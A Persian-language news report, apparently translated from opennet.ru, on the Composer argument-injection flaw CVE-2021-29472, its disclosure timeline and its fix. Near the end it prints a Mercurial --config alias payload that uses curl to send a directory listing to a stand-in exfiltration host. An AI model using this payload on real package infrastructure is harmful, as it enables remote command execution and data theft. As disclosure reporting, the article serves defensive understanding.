یک آسیبپذیری حیاتی (CVE-2021-29472) در مدیریت وابستگی Composer شناسایی شده است که اجازه میدهد هنگام پردازش بستهای با مقدار URL فرمتشده خاص که آدرس دانلود کد منبع را مشخص میکند، دستورات دلخواه روی سیستم اجرا شوند. مشکل در اجزای GitDriver، SvnDriver و HgDriver که هنگام استفاده از سیستمهای کنترل منبع Git، Subversion و Mercurial استفاده میشوند، رخ میدهد. این آسیبپذیری در نسخههای 1.10.22 و 2.0.13 Composer برطرف شد.
مشخصاً اشاره شده است که این مشکل در درجه اول مخزن بسته پیشفرض Composer، Packagist را تحت تأثیر قرار میدهد که حاوی 306 بسته برای توسعهدهندگان PHP است و بیش از 1.4 میلیارد بارگیری در ماه را ارائه میدهد. این آزمایش نشان داد که در صورت اطلاع از مشکل، مهاجمان میتوانند کنترل زیرساخت Packagist را به دست آورند و اعتبار نگهداریکنندگان را رهگیری کنند یا بارگیری بستهها را به یک سرور شخص ثالث هدایت کنند، و تحویل انواع بسته را با تغییرات مخرب سازماندهی کنند تا یک درب پشتی را جایگزین کنند. در طول فرآیند نصب وابستگی
خطر برای کاربران نهایی به این واقعیت محدود می شود که محتوای composer.json معمولاً توسط کاربر تعیین می شود و پیوندهای منبع هنگام دسترسی به مخازن شخص ثالث که معمولاً قابل اعتماد هستند منتقل می شوند. ضربه اصلی به مخزن Packagist.org و سرویس Private Packagist که Composer را با انتقال داده های دریافتی از کاربران می نامید، وارد شد. مهاجمان می توانند کد خود را با قرار دادن یک بسته طراحی شده روی سرورهای Packagist اجرا کنند.
تیم Packagist این آسیبپذیری را ظرف 12 ساعت پس از گزارش آسیبپذیری برطرف کرد. محققان در 22 آوریل به طور خصوصی به توسعه دهندگان Packagist اطلاع دادند و مشکل در همان روز برطرف شد. بهروزرسانی عمومی Composer برای رسیدگی به این آسیبپذیری در 27 آوریل منتشر شد و جزئیات آن در 28 آوریل فاش شد. ممیزی گزارشها در سرورهای Packagist هیچ فعالیت مشکوکی را در رابطه با آسیبپذیری نشان نداد.
این مشکل به دلیل وجود اشکال در کد اعتبارسنجی URL در فایل root composer.json و لینک های دانلود منبع ایجاد می شود. این خطا از نوامبر 2011 در کد وجود دارد. Packagist از لایه های ویژه ای برای سازماندهی بارگذاری کد بدون اتصال به یک سیستم کنترل منبع خاص استفاده می کند که با فراخوانی "fromShellCommandline" و ارسال آرگومان های خط فرمان اجرا می شود. به عنوان مثال، برای git، دستور "git ls-remote -heads $URL" فراخوانی می شود، که در آن URL با استفاده از روش "ProcessExecutor::escape($url)" پردازش می شود، و از ساختارهای بالقوه خطرناک مانند "$((. ..)" یا "` ..."".
هسته اصلی مشکل این است که متد ProcessExecutor::escape از توالی "-" فرار نمی کند، که اجازه می دهد هر پارامتر فراخوانی اضافی در URL مشخص شود. چنین فراری در درایورهای GitDriver.php، SvnDriver.php و HgDriver.php وجود نداشت. حمله GitDriver.php با این واقعیت که دستور "git ls-remote" از تعیین آرگومان های اضافی بعد از مسیر پشتیبانی نمی کرد، با مشکل مواجه شد. حمله به HgDriver.php با ارسال پارامتر "--config" به ابزار "hq" امکان پذیر است، که به شما امکان می دهد اجرای هر دستوری را با دستکاری تنظیمات "alias.identify" سازماندهی کنید. به عنوان مثال، برای دانلود و اجرای کد با اجرای ابزار curl، می توانید این موارد را مشخص کنید: —config=alias.identify=!curl http://exfiltration-host.tld —data "$(ls -alh)"
با ارسال یک بسته آزمایشی با URL مشابه به Packagist، محققان تأیید کردند که پس از ارسال، سرور آنها یک درخواست HTTP از یکی از سرورهای Packagist در AWS دریافت کرده که حاوی فهرستی از فایلها در فهرست فعلی است.
منبع: opennet.ru